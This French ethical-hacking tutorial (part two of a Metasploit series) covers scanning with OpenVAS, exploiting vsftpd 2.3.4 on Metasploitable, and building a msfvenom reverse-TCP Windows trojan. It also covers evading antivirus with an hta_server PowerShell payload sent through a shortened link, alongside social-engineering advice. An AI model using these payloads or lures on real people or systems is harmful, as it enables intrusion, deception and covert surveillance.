Dans la première partie je vous ai initié à Metasploit : la terminologie, ses interfaces, utilitaire et on a comencé avec la première phase d’un test d’intrusion : la collecte d’informations.
Aujourd’hui, on va entamer la deuxième phase qu’est : le scan de vulnérabilité, pour le faire nous allons utiliser des scanneurs de vulnérabilité automatiques.
Les scanneurs de vulnérabilités sont des programmes désigné à chercher des failles dans les systèmes, application, réseau d’une façon automatique.
Leurs fonctionnement repose sur le fait d’envoyer des données au système cible, puis ils analysent la réponse, selon cette réponse, ils vont essayer d’énumérer les vulnérabilités présentent sur le système cible en utilisant une base de données comme référence.
L’un des grands avantages d’un scanneur est son automatisme surtout si vous vous trouvez face à un réseau énorme avec plusieurs sous-réseaux, le scanneur va analyser chaque système dans ce réseau, et si vous lui fournissez les informations d’identifications il va se connecter au système distant et essayer de récupérer des informations plus poussées (déterminer les applications, services et s’il est patché ou non).
Et puis à la fin, le scanneur va vous présenter un rapport détaillé sur tout ce qui a pu détecter dans une forme élégante, ce qui va nous être utile dans la phase d’exploitation.
Cependant, ces scanneurs créent généralement beaucoup de trafic dans le réseau, ce qui pose problème si vous voulez rester furtif, l’autre point faible des scanneurs automatique étant le manque de flexibilité et de précision, car souvent, vous allez être confronté a des false positive (vulnérabilité signalée là où il n’en existe pas) et de false nagative (vulnérabilité non signalée, mais qui en existe).
Nous allons jeter un coup d’œil sur le fameux scanneur : OpenVAS.
metasploit tutorial francais hacking ethique : OpenVAS
Installation et configuration :
OpenVAS (abréviation d’open source vulnerability scanner) et un logiciel de scan de vulnérabilité sous licence général publique, qui offre au développeur un service de scan de failles gratuit après que Nessus a pivoté vers le closed source (service payant).
OpenVAS est un très bon alternative de Nessus et Nexpose, et pour cette raison qu’on va l’utiliser comme scanneur majeur dans ce guide.
Tout d’abord, il va falloir l’installer, et comme j’ai évoqué dans la partie précédente : si vous êtes sur une distribution orienté securité, tous les outils que je vous présente sont déja installé.
Sinon, il suffit de passer cette commande pour l’installer :
apt install openvas
OpenVAS fonctionne sur le port 443, donc vous devez autoriser ce port sur le firewall avec cette commande :
sudo ufw allow https
Puis vous mettez à jour la base de données :
greenbone-certdata-sync
greenbone-scapdata-sync
Exécutez la commande openvas-check-setup pour voir si openvas est correctement installé, personnellement, j’ai trouvé deux erreurs majeures.
La première erreur consiste à désactiver SELINUX qui est un module de sécurité qui définit les politiques de contrôle d’accès sur les systèmes Linux, pour le désactiver utiliser un éditeur de texte pour ouvrir le ficher de configuration :
nano /etc/selinux/config
Puis changez le string de SELINUX à disabled
La deuxième erreur est lié à la base donnée qu’on doit mettre à jour :
openvasmd --rebuild
Maintenant relancez la commande openvas-check-setup, et vérifiez si tout est en place :
Voilà, on a fini avec l’installation.
L’étape suivante est de créer un utilisateur pour Openvas :
openvasmd --user=”USER” --new-password=”PASSWORD”
Un utilisateur va être créé pour vous, comme le montre la figure suivante :
Vous pouvez utiliser OpenVAS depuis son interface web mais Comme convenu, on va utiliser nos outils au sein de Metasploit.
Maintenant accédez à msfconsole et chargez le plugin de openvas disponible sur metasploit :
Puis affichez le menu help pour voir les commandes propres à ce plugin :
Après avoir chargé le module, vous devez vous connecter avec le serveur en utilisant la commande openvas_connect, en lui passant les paramètres de connexion crée précédemment :
Les paramètres sont dans l’ordre : nom_d’utilisateur, mot de passe, adresse IP du serveur local et le port.
Le OK à la fin de la commande sert à implémenter le support SSL pour que l’interaction avec le serveur soit sécurisée.
metasploit tutorial francais hacking ethique : Scan de vulnérabilité
L’étape suivante consiste à choisir notre cible qu’on va scanner, pour cela j’utilise la commande openvas_target_create :
N.B : je vais utiliser Metasploitable comme machine cible parce qu’il est très riche en failles ce qui le rend un très bon terrain de pratique.
Puis créez un task (tâche) en appliquant une configuration sur la cible, pour voir les configurations disponible utilisez la commande penvas_config_list :
Maintenant créez le task en précisant le nom de votre scan, un commentaire, l’ID de la configuration que vous voulez appliquez et enfin l’ID de votre cible,
N.B : pour voir les arguments d’une commande, il suffit de rajouter un -h .
Commencez le scan avec la commande openvas_task_start, et vérifiez le progrès avec openvas_task_list :
vous voyez que le “status : Running“ nous indique que notre scan est en cours d’exécution, une fois finis (Done) vous pouvez afficher le rapport de votre scan :
Voilà, vous avez maintenant votre rapport de scan que vous pouvez également le télécharger sous plusieurs formats disponibles sur la commande openvas_report_download :
Le rapport vous fournit en plus des vulnérabilités un classement par sévérité, ce qui va vous faciliter la phase de l’exploitation qui vient juste après.
metasploit tutorial francais hacking ethique EXPLOITATION :
Bref, l’exploitation est tout simplement la capacité à contrôler une machine. Souvent c’est cette phase que visent les hackers black hat, cependant les white hat ne s’arrêtent pas là et continuent jusqu’à sécuriser (patcher) les failles trouvées.
Mais avant d’entamer votre exploitation, il faut savoir que c’est une phase résultante, car comme on la dit au début, le hacking repose sur une méthodologie bien précise et logique, maintenant si votre phase de collecte d’informations à été bien déroulé et que vous avez pu extraire toutes les informations concernant votre cible et puis vous avez fait votre scan de vulnérabilité (automatique ou manuel) d’une façon approfondie, pour révéler tous les potentiels risques présents, il y a de forte chance que votre exploitation seras un succès.
Tout d’abord, pour exploiter notre machine, je vais devoir s’appuyer sur le rapport de notre scan précédent, précisément sur les failles avec un niveau élevé.
Par exemple, je trouve que le service ftp exécuté sur la machine est obsoléte (vsftpd 2.3.4 alors qu’on parle maintenant de 3,X !!), ce qui rend tout le système incroyablement exposé.
Maintenant et que vous avez mis le doigt sur le point douloureux, il ne vous reste qu’a chercher un l’exploit approprié avec la commande search :
Voilà, 5 exploit s’affiche dont 1 est propre au service ftp, c’est lui notre homme.
N.B: pour ne pas sortir du cadre de Metasploit, sachez qu’on peut exploiter le service ftp juste en utilisant le mot de passe et le nom d’utilisateur par défaut comme indiqué dans le rapport.
Pour utiliser cet exploit, j’ai utilisé la commande use suivi du nom de l’exploit, puis show exploit m’affiche les options nécessaires au fonctionnement de cet exploit d’où le set RHOST, suivi de l’adresse IP de ma cible (machine Metasploitable), le port est le 21 par défaut.
Le dernier Kata, entrez le mot magique exploit :
Boom, on a une session qui nous permettra d’interagir avec la machine.
N.B : si du premier coup ça marche pas ressayez une deuxième fois et ça devrait aller.
Entrez help pour voir quelques commandes utiles à votre exploitation :
Maintenant vous pouvez manipuler la machine comme si elle était devant vous : afficher les logs, les mots de passe, les fichiers, télécharger ou uploader des ficher ou bien……. Détruire le système !.
N.B: c’est pas à chaque fois que vous exploitiez une machine vous aurez le privilège de root (super utilisateur), ça dépend de l’exploit utilisé et souvent vous devez procéder à un privilège escalation.
Jusque-là, c’est l’exploitation, mais essayons d’exploiter une machine sous Windows….Just for fun ?.
metasploit tutorial francais hacking ethique EXPLOITATION D’UNE MACHINE WINDOWS :
Pour exploiter une machine sous Windows, vous devez tout d’abord énumérer les vulnérabilités existantes sur le système, si vous avez bien suivi le tutoriel vous y parvenez facilement ?.
Mais que feriez-vous si votre scan n’a pas révéler une seul faille ?, et que votre cible est assez vigilante en appliquant régulièrement des mises à jour à son systéme !!, et bien dans ce cas-là, vous devez cibler la faille humaine ;).
L’ingénierie sociale est l’art d’exploiter la chaîne la plus fragile d’une infrastructure informatisée…..l’humain.
Dans certains cas, comme je l’ai dit, il est très difficile de s’introduire à un système si ce dernier est bien maintenu, mis à jour, isolé et protéger…. Dans cette situation, un hacker doit rapidement changer de méthode en essayant de mener son hack par le biais d’un utilisateur du système.
Cependant, l’ingénierie sociale demande beaucoup de créativité et de persévérance, en essayant de trouver le point faible de sa cible (qui est maintenant un humain au lieu d’une machine), afin de le manipuler à faire ce qu’on veut.
Si vous arriver a gagner la confiance d’un personnel qui s’occupe du système, le grand travail est fait…… Il ne reste qu’a installer le malware sur la machine.
metasploit tutorial francais hacking ethique : CRÉATION DE TROJAN
Ou cheval de troie, c’est un type de logiciel qu’on peut créer avec msfvenom (vous vous souvenez ?), il a une apparence légitime similaire à n’importe quel exécutable, PDF, Word ou autre…. Sauf qu’il contient des fonctionnalités malveillantes qui permettent à l’attaquant d’espionner sa victime à distance.
En fait, msfvenom est capable de générer des payloads un PEU sophistiqué (fusion avec d’autres logiciels, encodage, cryptage…), mais pour le moment, je vais vous introduire doucement à cet outil en générant un payload basique, mais qui n’est pas du tout réaliste qu’on va l’optimiser au fur et à mesure de notre avancement.
Voici la commande qui vous permet de crée le payload :
Msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > payload.exe
SO, on indique à msfvenom que le payload est destiné à un système Windows, en ajoutant aussi l’adresse IP et le PORT de notre machine qui va recevoir la connexion, et enfin le format du payload et son nom (exe dans notre cas).
Une fois le payload généré, vous devez le transmettre à votre victime, il y a plusieurs façons de le faire, mais tant que votre cible ne vous fait pas confiance vous n’avez aucune chance qu’elle clique dessus.
Maintenant, nous devons préparer le listener qui va recueillir la connexion dés que le payload est exécuté, pour cela, nous devons procéder comme suit :
Puis on exécute le payload sur la machine cible :
N.B : sachez que le système que je cible avec ce payload n’a pas d’antivirus, car il ne peut pas en faire face, ne vous inquiétez pas, on va les battre après ?.
Voilà, nous avons une sessions meterpreter.
Laissons meterpreter à côté on va y revenir, on va maintenant travailler sur notre payload pour l’optimiser et le rendre un peu plus DISCRÉT.
Maintenant sur la même machine Windows, j’ai installé un antivirus mis à jour, puis je vais tenter d’exécuter payload.exe :
Sur le coup, Avast a détecter le malware et il l’a supprimé instantanément.
Que faire ?.
Vous allez me dire : on va encoder notre paylaod, binder avec un autre logiciel, ou tout simplement l’encrypter !!.
Ma réponse serait : bien joué, MAIS ça ne va pas marcher, ça fait quelques années que ça ne marche plus ces truques ?.
Ce n’est pas grave , on va changer de payload en pivotant vers un payload powershell qui peut bypasser ce genre de AV/IDS.
Voici le scénario, on va générer un payload powershell que nous hébergeant sur notre localhost (notre serveur), puis on envoie un lien de téléchargement à notre cible qui va l’exécuter et ouvrir une connexion inverse à notre machine.
Utiliser l’exploit windwos/misc/hta_server, indiquez votre adresse IP puis lancez l’exploit.
Un lien du payload va être généré, mais le lien n’est pas très convaincant non ?.
Pour cela, je vais le raccourcir en utilisant https://bitly.com/, j’aurai un lien plus charmant
Maintenant, en ouvrant le lien sur la machine victime et en exécutant le payload j’aurai ma session meterpreter
Voilà, Avast n’a rien senti
Dans ce tutoriel, nous avons vu comment effectuer un scan avec OpenVAS, puis télécharger un rapport détaillé sur les vulnérabilité existantes sur le system cible.
Après nous avons vu comment exploiter une faille sur une machine GNU/Linux, et comment générer un trojan exécutable avec msfvenom et a la fin comment bypasser les AV/IDS avec un pyload poweershell en utilisant un lien pour le transmettre silencieusementafin de compromettre une machine sous Windows.
Dans la prochaine partie, metasploit-tutorial-francais-hacking-ethique-3-sur-3 nous verrons comment se balader dans le système avec meterpreter et qu’est ce qu’on peut faire avec.
Cet article reflète exclusivement l'opinion de ses auteurs et n’engage en aucune façon Consultingit. J'espère que ça vous a plu. Vos commentaires/remarques sont les bienvenus: